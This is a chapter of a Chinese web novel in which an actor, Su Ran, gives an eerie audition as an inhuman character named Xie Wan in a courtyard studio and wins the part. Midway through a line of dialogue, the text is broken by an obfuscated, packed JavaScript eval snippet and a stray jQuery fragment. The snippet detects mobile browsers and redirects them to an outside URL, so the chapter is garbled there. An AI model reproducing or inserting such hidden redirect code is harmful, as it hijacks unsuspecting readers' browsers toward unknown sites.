俞老的工作室隐在平阜西郊一片梧桐深巷的尽头。
独门独院，青砖围墙高耸，墙头探出经冬犹苍的翠竹梢。
推开两扇沉重的黑漆木门，入眼是一方精心打理过的庭院。时值冬末，园中几树老梅疏影横斜，冷香浮荡。青石板路两侧立着石灯，白日里也幽幽燃着仿古的灯火，光线昏黄，将庭院笼罩在一片暖昧的、近乎停滞的时光氛围里。
今天试镜的地点，就在这庭院深处一座半敞开的水榭中。
水榭外引活水成一小池，池中沉着几块墨色嶙峋的太湖石，石上苔藓茸茸，在水面投下浓得化不开的绿影。
水榭内部被临时布置成民国旧式书房的模样，紫檀书架，线装书卷，黄铜灯盏，一桌一椅都透着被岁月摩挲过的温润光泽。空气里弥漫着旧书、沉水香和一丝极淡的、来自池水的清冽腥气。
苏燃跟在萧景淮身后，踩着湿润的青石板穿过庭院。
他今天穿着一身月白长衫，剪裁极佳，料子轻薄垂顺，行动间如水波流淌。脸上妆容很淡，只着重勾勒了眉眼，让他本就精致的轮廓更添几分模糊性别的秀致。眼尾那点红没有遮盖，反而用极细的笔稍稍拉长、晕染，化作一抹天然又妖异的薄绯，斜飞入鬓角。
严老师那些“非常规”训练的痕迹，此刻内敛在他周身一种奇特的静气里。他的步伐很轻，眼神落在前方萧景淮挺括的黑色大衣下摆上，却又仿佛穿透了那层布料，落在某个更空茫的远处。
不是紧张，也不是放空，而是一种……蓄势待发的“悬停”状态。仿佛他体内有两个灵魂，一个属于苏燃，严谨、服从、带着适度的紧绷。另一个属于“谢晚”，正隔着薄薄的躯壳，好奇地、冰冷地打量着这个即将成为舞台的陌生庭院。
水榭里已经有人。
俞老坐在主位一张太师椅上，年过七旬，头发全白，梳得一丝不苟，穿一件深青色中式褂子，面容清癯，眼神却亮得惊人，像是能把人从皮到骨看透。
他身旁坐着导演，制片和编剧，都屏息凝神。另有一位穿着藏青色长袍、气质儒雅的中年男演员坐在一旁，正低头看着手里的几页纸。
那是今天和苏燃搭戏的演员，饰演剧中与谢晚有重要对手戏的“七叔”，一位表面温文、内藏机锋的世家掌权者，也是谢晚悲剧的关键推手之一。演员本人姓杨，是话剧界大拿，以气场绵密、台词功底深厚著称。
萧景淮上前与俞老简单寒暄，语气是罕见的恭敬与简洁。俞老的目光只在萧景淮身上停留一瞬，便越过他，落在了后面的苏燃身上。
那目光并不锐利，却带着千钧重量，缓慢地、仔细地逡巡过苏燃的全身，最后定格在他脸上，尤其是那双眼睛和眼尾的薄绯上。看了足足有五六秒，俞老才微微颔首，什么也没说，只对旁边的顾老师示意了一下。
“小苏是吧？”顾老师放下剧本，站起身，笑容温煦，眼神却同样带着审视，“来，我们先走走戏。这场戏是七叔第一次在书房‘点破’谢晚的非人身份，台词不多，但全是机锋。情绪在弦上，引而不发，明白吗？”
苏燃走到水榭中央，与顾老师相对而立。水榭外池水的微光透过雕花窗棂，在他月白的衣襟上晃动。“明白，顾老师。”他的声音不高，清冽，尾音收得干净。
“好，那我们直接来一遍。”俞老忽然开口，声音苍老但清晰，“不用试，直接走戏。小顾，你带他。”
没有场记板，没有“Action”。顾老师身形微动，脸上的温煦笑容如潮水般褪去，眼神依旧平和，却瞬间沉淀下深不见底的城府与一种略带悲悯的冷酷。他缓缓踱步，走到书桌后，用指尖轻轻划过光滑的桌沿，目光落在窗外池中墨石上，仿佛在对石言语，又像在自言自语：
“这池子里的石头，据说是前朝从太湖底捞上来的镇水石。捞上来时，石缝里还缠着水草，嵌着螺壳，沾着……说不清道不明的东西。”他顿了顿，语气依旧平淡，“放在这院子里几十年了，白日看着是石头，到了夜里，偶尔……我总觉得能听见水声。”
他转过头，目光第一次真正落到苏燃（谢晚）身上。那目光不再是审视，而是穿透性的、带着某种了然与残酷的剖析。
苏燃在他目光触及的瞬间，周身那层“悬停”的静气被打破了。
如同冰面承受恰到好处的重量，瞬间绽开无数细密的、无形的裂纹。“苏燃”的部分迅速后撤、消融，将舞台彻底让出。
他依旧站在那里，月白长衫，身姿清瘦。但整个人的“质地”变了。
他的肩膀松了下来，是一种非人的、无骨般的柔韧。脖颈的线条拉长，微微偏着头，以一种天真又诡异的角度“聆听”着对方的话语。眼神空了，像两泓深不见底的古井，映着窗外的水光与灯影，没有任何属于人类的情感波澜。唯有眼尾那抹薄绯，在池水反射的幽绿光晕里，红得惊心动魄，仿佛一滴将凝未凝的血泪。
他没有立刻接词。时间在他的沉默里被拉长、变形。
然后，他极轻地眨了一下眼，睫毛像受惊的蝶翼颤了颤。唇角慢慢、慢慢地勾起一个弧度。
不是笑，是一个空洞的、美丽的形状。
他开口，声音比刚才更轻，更飘，带着一种奇异的、仿佛刚刚学会用这具身体发声的滞涩感，却又字字清晰地送入每个人耳中：
“水声……我常听见。” 他微微侧耳，像是在倾听此刻并不存在的声音，“不是石头里的。是石头……睡着时，做的梦。”
他的视线从顾老师脸上移开，落在自己微微抬起的手上。
手指纤长，在昏黄光线下白得近乎透明。他仔细地看着自己的指尖，仿佛在研究什么新奇的事物，然后用一种轻柔到令人心悸的力道，虚虚地、缓缓地划过面前的空气，像是在触摸无形的流水。
“七叔也做梦吗？”他忽然问，抬起眼，重新看向顾老师。那眼神纯粹，好奇，像个不谙世事的孩子，却又在最深处，沉淀着一丝非人的、洞悉一切的冰冷，“梦里有水声吗？有……别的‘东西’吗？”
顾老师（七叔）的瞳孔几不可察地收缩了一下。他准备好的、充满压迫感的后续台词，在对方这完全偏离剧本预期、却又无比契合“谢晚”本质的反应面前，竟一时哽住。
他感觉到一股寒意顺着脊椎爬上来，是某种原始的、面对不可知存在时的警觉。他迅速调整，将这份寒意融入角色，脸上温文的面具出现一丝极细微的裂纹，声音也压低了些，带上了真实的、被冒犯的冷意：
“梦？人才会做梦。”他向前逼近半步，试图夺回掌控，“而你，谢晚，你究竟算是……什么？”
这句剧本上的核心诘问，被他以全力抛出，如同淬毒的匕首。
苏燃（谢晚）似乎被他陡然爆发的冷意“惊动”了。他微微向后瑟缩了一下，像是一种被突然的声响或强光打扰后的不适。但随即，那抹空洞的美丽弧度又回到了他唇角，甚至加深了些，染上一点天真又残忍的意味。
“我？”
他重复，尾音微微上扬，像在玩味这个字眼。
他低下头，看着自己月白衣袖上晃动的水光纹路，声音轻得像叹息，又清晰得如同耳语，“我是……镜子。”
他抬起头，眼神穿过顾老师，望向水榭外幽暗的池水，仿佛在与池底那些“说不清道不明的东西”对话。
“你们照见我是什么，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228487|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便是什么。”他慢慢地说，每个字都像一枚冰冷的珍珠，滚落在寂静的空气里，“是仙，是妖，是怪物……是你们心里，不敢认的‘自己’。”
最后几个字落下，水榭内一片死寂。
池水似乎无风自动，轻轻拍打了一下堤岸，发出“啪”的一声轻响。
顾老师僵在原地，准备好的所有应对都消散了。
他完全被带入了谢晚的节奏，被那份非人的空茫与直指人心的犀利钉住了。
他脸上属于“七叔”的冷静出现了动摇，那是一种棋手发现棋子有了自己意志、甚至反过来凝视棋手时的惊悸。
监视器后，俞老的身体前倾，手指无意识地捻着太师椅的扶手，眼睛死死盯着屏幕上那张特写——青年空茫美丽的眼，眼尾妖异的红，以及那说出“是你们心里，不敢认的‘自己’”时，唇角那一抹悲悯与残忍交织的弧度。
没有喊停。
时间在近乎凝固的张力中又流淌了几秒。
然后，苏燃（谢晚）轻轻地吁了一口气。
那口气息仿佛带着井底的凉意。
他眼中非人的空茫如潮水般退去，虽然缓慢，但确实在消散。肩膀重新有了人类的弧度，眼神里浮现出属于苏燃的、恰到好处的疲惫与一丝不确定。
他微微垂下头，轻声说：“我的部分……结束了。”
“卡。”
俞老的声音响起，打破了那令人窒息的寂静。他没有评价，只是看向旁边同样有些怔然的制片和编剧，三人交换了一个极其短暂的眼神。
顾老师也迅速从“七叔”的状态中抽离，他长长吐出一口气，再看向苏燃时，眼神里的审视已被一种深沉的赞叹和隐隐的忌惮取代。
他走过来，拍了拍苏燃的肩膀，力道很重。
“小子……厉害。” 顿了顿，又低声补了一句，“就是有点……吓人。”
苏燃礼貌地微微躬身：“顾老师过奖，是您带得好。”
萧景淮自始至终站在水榭入口的阴影里，安静地看着。金丝边眼镜后的目光深邃难测。他看着苏燃从“谢晚”状态中剥离时那一丝不易察觉的凝滞，看着俞老眼中闪过的亮光，看着顾老师毫不掩饰的惊叹。
他知道，这场试镜，已经结束了。
结果毫无悬念。
离开俞老工作室时，已是暮色四合。庭院里的石灯更显昏黄，将他们的影子拉得很长。
坐进车里，萧景淮才开口，第一句话是问：“刚才最后那句‘镜子’，剧本上没有。”
“嗯。”苏燃靠在椅背上，闭着眼，脸色比来时更苍白些，额角有细微的汗意。高强度、高精度的“打开”与“控制”，消耗巨大。“是当时……感觉应该那么说。谢晚会那么说。”
“感觉？”萧景淮重复这个词，语气平淡。
“严老师教的，‘通道’打开后，捕捉到的……角色的‘本能’。”苏燃睁开眼，看向车窗外流逝的街景，声音有些飘，“他说，有时候角色自己知道该怎么走。”
萧景淮没有再追问。车厢内陷入沉默，只有引擎的低鸣。
过了很久，直到车子驶入繁华市区，璀璨的霓虹开始映入车窗，萧景淮才再次开口，声音里听不出什么情绪。
“准备一下。谢晚是你的了。”
苏燃放在膝上的手，指尖微微蜷缩了一下。
他望向窗外流光溢彩的都市，玻璃上模糊地映出他自己的脸，和眼角那抹无法褪去的、属于谢晚的薄绯。
拿下了。
又一个角色，又一个世界。
而通道那头，井水的凉意，似乎已经透过这次试镜，更深地渗入了他的骨缝里。